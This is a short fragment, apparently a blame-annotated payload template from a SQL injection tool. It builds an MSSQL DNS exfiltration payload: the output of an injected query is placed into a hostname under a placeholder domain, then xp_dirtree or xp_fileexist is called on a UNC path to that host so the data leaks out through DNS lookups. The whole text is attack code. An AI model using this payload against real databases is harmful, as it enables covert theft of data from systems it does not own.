2012-02-15 17:45:10 +04:00
|
|
|
DECLARE @host varchar(1024);
|
2012-04-04 17:36:18 +04:00
|
|
|
SELECT @host='%PREFIX%.'+(%QUERY%)+'.%SUFFIX%.%DOMAIN%';
|
2012-04-07 18:14:26 +04:00
|
|
|
EXEC('master..xp_dirtree "\\'+@host+'\%RANDSTR1%"')
|
|
|
|
# or EXEC('master..xp_fileexist "\\'+@host+'\%RANDSTR1%"')
|